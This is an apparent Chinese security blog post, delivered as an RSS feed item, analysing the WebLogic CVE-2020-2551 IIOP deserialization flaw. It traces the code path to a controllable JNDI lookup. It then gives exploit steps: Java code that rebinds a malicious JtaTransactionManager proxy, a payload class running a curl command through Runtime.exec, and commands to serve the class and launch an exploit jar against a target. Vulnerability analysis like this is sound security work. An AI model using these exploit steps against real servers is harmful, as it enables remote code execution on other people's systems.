<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>IIOP &#8211; ChaBug安全</title>
	<atom:link href="/tags/iiop/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 28 Feb 2020 09:46:09 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>[内置工具]Weblogic CVE-2020-2551 IIOP协议反序列化RCE</title>
		<link>/audit/1282.html</link>
					<comments>/audit/1282.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 28 Feb 2020 09:46:09 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[IIOP]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1282</guid>

					<description><![CDATA[IIOP协议导致的反序列化。 环境 weblogic10.3.6+jdk1.6 idea+jdk1.8+jdk1.6 IIOP IIOP，Internet Inter-ORB Pr...]]></description>
										<content:encoded><![CDATA[<p><span class="wpcom_tag_link"><a href="/tags/iiop" title="IIOP" target="_blank">IIOP</a></span>协议导致的<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>。<br />
<span id="more-1282"></span></p>
<h2>环境</h2>
<p><span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>10.3.6+jdk1.6<br />
idea+jdk1.8+jdk1.6</p>
<h2>IIOP</h2>
<p>IIOP，Internet Inter-ORB Protocol(互联网内部对象请求代理协议)，它是一个用于CORBA 2.0及兼容平台上的协议；用来在CORBA对象请求代理之间交流的协议。Java中使得程序可以和其他语言的CORBA实现互操作性的协议。</p>
<p><span class="wpcom_tag_link"><a href="/tags/rmi" title="RMI" target="_blank">RMI</a></span>-IIOP出现以前，只有RMI和CORBA两种选择来进行分布式程序设计，二者之间不能协作。RMI-IIOP综合了RMI 和CORBA的优点，克服了他们的缺点，使得程序员能更方便的编写分布式程序设计，实现分布式计算。RMI-IIOP综合了RMI的简单性和CORBA的多语言性兼容性，RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性。</p>
<p>在Weblogic中，默认启用了IIOP，而IIOP的传输也是通过序列化和反序列化的形式来进行的。在Weblogic中RMI-IIOP模型可以借用奇安信观星实验室的一张图来说明</p>
<p><img src="https://y4er.com/img/uploads/20200228171035.png" alt="image" /></p>
<h2>IIOP样例</h2>
<p>先来看一个简单的RMI-IIOP样例，具体代码可以看 https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms</p>
<pre><code class="language-java ">package com.longofo.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

    public static void main(String[] args) {
        try {
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
            //实例化Hello servant
            HelloImpl helloRef = new HelloImpl();

            //使用JNDI在命名服务中发布引用
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            initialContext.rebind("HelloService", helloRef);

            System.out.println("Hello Server Ready...");

            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}
</code></pre>
<p>Server端通过InitialContext拿到上下文，然后注册一个HelloService对应helloRef引用，而HelloImpl又实现了HelloInterface接口，其中有一个sayHello方法并且继承<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.rmi.Remote抛出java.rmi.RemoteException，这部分其实和RMI是大同小异的，在我的其他文章中介绍过了RMI，这里不再赘述。</p>
<h2>漏洞分析</h2>
<p>现在我们来看这个漏洞。IIOP传输的过程中会自动序列化和反序列化，那么我们可以通过向服务器7001端口发送一个恶意的序列化对象，IIOP达到RCE。</p>
<p>发送恶意序列化对象的过程，其实就是bind的过程，由此我们可以构造请求</p>
<pre><code class="language-java ">Hashtable&lt;String, String&gt; env = new Hashtable&lt;String, String&gt;();
// add wlsserver/server/lib/weblogic.jar to classpath,else will error.
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(rmiurl);

Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
context.rebind("Y4er"+System.nanoTime(), remote);
</code></pre>
<p>你肯定疑惑JtaTransactionManager和weblogic.jndi.WLInitialContextFactory是从哪来的？</p>
<ol>
<li>JtaTransactionManager是spring爆出的一个可以JDNI注入的类，在weblogic中也存在。</li>
<li>weblogic.jndi.WLInitialContextFactory 是weblogic的JDNI工厂类。</li>
</ol>
<p>国际惯例，跟一下流程，IIOP解析数据流的部分看不懂不跟了，从IIOP开始反序列化对象开始</p>
<p>E:/sou<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>/java/Weblogic/src/main/resources/lib/modules/weblogic.jar!/weblogic/iiop/IIOPInputStream.class:1725<br />
<img src="/wp-content/uploads/2020/02/20200228174070.png" alt="image" /></p>
<p>此时var2是序列化传入的<code>com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager</code>，跟进readValue()<br />
<img src="/wp-content/uploads/2020/02/20200228172827.png" alt="image" /></p>
<p>跟进readValueData()，判断是否有readObject方法之后进入自身的readObject()，也就是<code>om.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager</code>的readObject</p>
<p><img src="/wp-content/uploads/2020/02/20200228175633.png" alt="image" /></p>
<p>然后通过反射调用JtaTransactionManager的readObject()，跟进<br />
<img src="/wp-content/uploads/2020/02/20200228176407.png" alt="image" /></p>
<p>到此之后就是Weblogic的CVE-2018-3191 spring JDNI注入了，简单来说就是lookup()的参数可控，导致可以加载任意类。我们继续跟进initUserTransactionAndTransactionManager()<br />
<img src="/wp-content/uploads/2020/02/20200228172797.png" alt="image" /></p>
<p>如果userTransaction等于空有userTransactionName属性则进入lookupUserTransaction()，跟进<br />
<img src="/wp-content/uploads/2020/02/20200228171163.png" alt="image" /></p>
<p>此时lookup()参数可控<br />
<img src="/wp-content/uploads/2020/02/20200228170996.png" alt="image" /></p>
<p>lookup加载我们的RMI服务，可以注入恶意ip的rmi服务，触发实例化恶意类构造方法调用。如果不明白请参考文末的《Spring framework 反序列化的漏洞》以及《weblogic之CVE-2018-3191漏洞分析》。</p>
<h2>漏洞利用</h2>
<p>Github：https://github.com/Y4er/CVE-2020-2551</p>
<p>下载jar包，然后使用marshalsec起一个恶意的RMI服务，本地编译一个exp.java</p>
<pre><code class="language-java ">package payload;

import java.io.IOException;

public class exp {

    public exp() {
        String cmd = "curl http://172.16.1.1/success";
        try {
            Runtime.getRuntime().exec(cmd).getInputStream();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p><strong>尽量使用和weblogic相同的版本编译</strong> 然后本地起一个web服务器</p>
<pre><code class="">python -m http.server --bind 0.0.0.0 80
</code></pre>
<p>命令行运行jar包</p>
<pre><code class="">java -jar weblogic_CVE_2020_2551.jar 172.16.1.128 7001 rmi://172.16.1.1:1099/exp
</code></pre>
<p>实际效果如图<br />
<img src="/wp-content/uploads/2020/02/20200228174168.gif" alt="image" /></p>
<h2>参考链接</h2>
<ol>
<li>https://paper.seebug.org/1130</li>
<li>https://seaii-blog.com/index.php/2019/12/29/92.html</li>
<li>https://www.anquanke.com/post/id/197605</li>
<li>https://www.cnblogs.com/afanti/p/10256843.html</li>
<li>https://www.cnblogs.com/afanti/p/10193169.html</li>
<li>https://github.com/Y4er/CVE-2020-2551</li>
<li>https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms</li>
<li>https://paper.seebug.org/1105/</li>
<li>https://paper.seebug.org/1091/</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>/audit/1282.html/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
	</channel>
</rss>
